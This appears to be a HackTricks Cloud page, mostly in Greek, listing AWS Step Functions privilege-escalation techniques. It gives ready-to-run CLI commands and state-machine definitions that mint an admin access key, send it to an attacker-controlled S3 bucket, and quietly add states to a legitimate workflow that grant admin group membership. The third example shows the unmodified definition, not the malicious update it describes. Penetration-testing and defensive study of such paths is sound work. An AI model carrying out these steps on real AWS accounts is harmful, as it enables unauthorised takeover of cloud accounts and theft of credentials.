AWS - Step Functions
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Step Functions
Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία AWS, δείτε:
Πόροι Εργασιών
These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions.
Για να ελέγξετε όλες τις πιθανές ενέργειες, μπορείτε να μεταβείτε στον δικό σας λογαριασμό AWS, να επιλέξετε την ενέργεια που θέλετε να χρησιμοποιήσετε και να δείτε τις παραμέτρους που χρησιμοποιεί, όπως στο:

Εναλλακτικά, μπορείτε επίσης να μεταβείτε στην API documentation της AWS και να ελέγξετε την τεκμηρίωση κάθε ενέργειας:
states:TestState & iam:PassRole
Ένας επιτιθέμενος με τα states:TestState & iam:PassRole permissions μπορεί να δοκιμάσει οποιοδήποτε state και να περάσει οποιονδήποτε IAM role σε αυτό χωρίς να δημιουργήσει ή να ενημερώσει μια υπάρχουσα state machine, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS με τα δικαιώματα των ρόλων. Σε συνδυασμό, αυτά τα permissions μπορούν να οδηγήσουν σε εκτεταμένες μη εξουσιοδοτημένες ενέργειες, από τη χειραγώγηση ροών εργασίας και την αλλοίωση δεδομένων έως παραβιάσεις δεδομένων, χειρισμό πόρων και ανύψωση προνομίων.
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Τα παρακάτω παραδείγματα δείχνουν πώς να δοκιμάσετε ένα state που δημιουργεί ένα access key για τον χρήστη admin, αξιοποιώντας αυτά τα δικαιώματα και έναν permissive role στο περιβάλλον AWS. Αυτός ο permissive role πρέπει να έχει συνδεδεμένη κάποια high-privileged policy (για παράδειγμα arn:aws:iam::aws:policy/AdministratorAccess) που επιτρέπει στο state να εκτελέσει την ενέργεια iam:CreateAccessKey:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Εντολή που εκτελέστηκε για να πραγματοποιηθεί το privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Δυνητικός Αντίκτυπος: Μη εξουσιοδοτημένη εκτέλεση και χειρισμός ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, ενδεχομένως οδηγώντας σε σημαντικές παραβιάσεις ασφαλείας.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Ένας επιτιθέμενος με τα δικαιώματα states:CreateStateMachine & iam:PassRole θα μπορούσε να δημιουργήσει ένα state machine και να του εκχωρήσει οποιονδήποτε IAM role, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες AWS υπηρεσίες με τα δικαιώματα του role. Σε αντίθεση με την προηγούμενη privesc τεχνική (states:TestState & iam:PassRole), αυτή δεν εκτελείται από μόνη της — θα χρειαστεί επίσης να έχετε τα δικαιώματα states:StartExecution ή states:StartSyncExecution (states:StartSyncExecution δεν είναι διαθέσιμο για standard workflows, μόνο για express state machines) για να ξεκινήσετε μια εκτέλεση του state machine.
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Τα παρακάτω παραδείγματα δείχνουν πώς να δημιουργήσετε ένα state machine που δημιουργεί ένα access key για τον χρήστη admin και exfiltrates αυτό το access key σε ένα attacker-controlled S3 bucket, αξιοποιώντας αυτά τα permissions και έναν permissive role του AWS περιβάλλοντος. Αυτός ο permissive role θα πρέπει να έχει οποιαδήποτε policy υψηλών προνομίων συνδεδεμένη με αυτόν (για παράδειγμα arn:aws:iam::aws:policy/AdministratorAccess) που επιτρέπει στο state machine να εκτελεί τις ενέργειες iam:CreateAccessKey & s3:putObject.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Εντολή που εκτελέστηκε για να δημιουργήσει το state machine:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Εντολή που εκτελέστηκε για να ξεκινήσει μια εκτέλεση της προηγουμένως δημιουργημένης μηχανής κατάστασης:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
Το S3 bucket που ελέγχεται από τον επιτιθέμενο πρέπει να έχει δικαιώματα να δέχεται την ενέργεια s3:PutObject από τον λογαριασμό του θύματος.
Πιθανός Αντίκτυπος: Μη εξουσιοδοτημένη εκτέλεση και χειραγώγηση ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, ενδεχομένως οδηγώντας σε σημαντικές παραβιάσεις ασφάλειας.
states:UpdateStateMachine & (όχι πάντα απαιτούμενο) iam:PassRole
Ένας επιτιθέμενος με την άδεια states:UpdateStateMachine θα μπορούσε να τροποποιήσει τον ορισμό ενός state machine, προσθέτοντας επιπλέον stealthy states που θα μπορούσαν να οδηγήσουν σε privilege escalation. Με αυτόν τον τρόπο, όταν ένας νόμιμος χρήστης ξεκινήσει μια εκτέλεση του state machine, αυτό το νέο κακόβουλο stealth state θα εκτελεστεί και το privilege escalation θα είναι επιτυχές.
Ανάλογα με το πόσο permissive είναι το IAM Role που σχετίζεται με το state machine, ο επιτιθέμενος θα αντιμετωπίσει δύο περιπτώσεις:
- Χαλαρό IAM Role: Αν το IAM Role που σχετίζεται με το state machine είναι ήδη permissive (π.χ. έχει συνδεδεμένη την policy
arn:aws:iam::aws:policy/AdministratorAccess), τότε η άδειαiam:PassRoleδεν θα απαιτείται για να πραγματοποιηθεί privilege escalation, καθώς δεν θα ήταν απαραίτητο να ενημερωθεί και το IAM Role — η τροποποίηση του ορισμού του state machine αρκεί. - IAM Role χωρίς permissive δικαιώματα: Σε αντίθεση με την προηγούμενη περίπτωση, εδώ ο επιτιθέμενος θα χρειαστεί επίσης την άδεια
iam:PassRole, καθώς θα είναι απαραίτητο να συσχετίσει ένα permissive IAM Role με το state machine επιπρόσθετα στη τροποποίηση του ορισμού του state machine.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Τα παρακάτω παραδείγματα δείχνουν πώς να ενημερώσετε ένα νόμιμο state machine που απλώς καλεί μια HelloWorld Lambda function, ώστε να προσθέσετε μια επιπλέον κατάσταση που προσθέτει τον χρήστη unprivilegedUser στην administrator IAM Group. Με αυτόν τον τρόπο, όταν ένας νόμιμος χρήστης ξεκινήσει μια εκτέλεση του ενημερωμένου state machine, αυτή η νέα κακόβουλη stealth κατάσταση θα εκτελεστεί και το privilege escalation θα είναι επιτυχές.
Warning
Εάν το state machine δεν έχει συσχετισμένο ένα επιτρεπτικό IAM Role, θα απαιτηθεί επίσης η άδεια
iam:PassRoleγια να ενημερωθεί το IAM Role προκειμένου να συσχετιστεί ένα επιτρεπτικό IAM Role (για παράδειγμα ένα με την πολιτικήarn:aws:iam::aws:policy/AdministratorAccessεπισυναπτόμενη).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Εντολή που εκτελέστηκε για να ενημερώσει την νόμιμη μηχανή κατάστασης:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Πιθανός Αντίκτυπος: Μη εξουσιοδοτημένη εκτέλεση και χειραγώγηση ροών εργασίας και πρόσβαση σε ευαίσθητους πόρους, που ενδέχεται να οδηγήσουν σε σημαντικές παραβιάσεις ασφάλειας.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

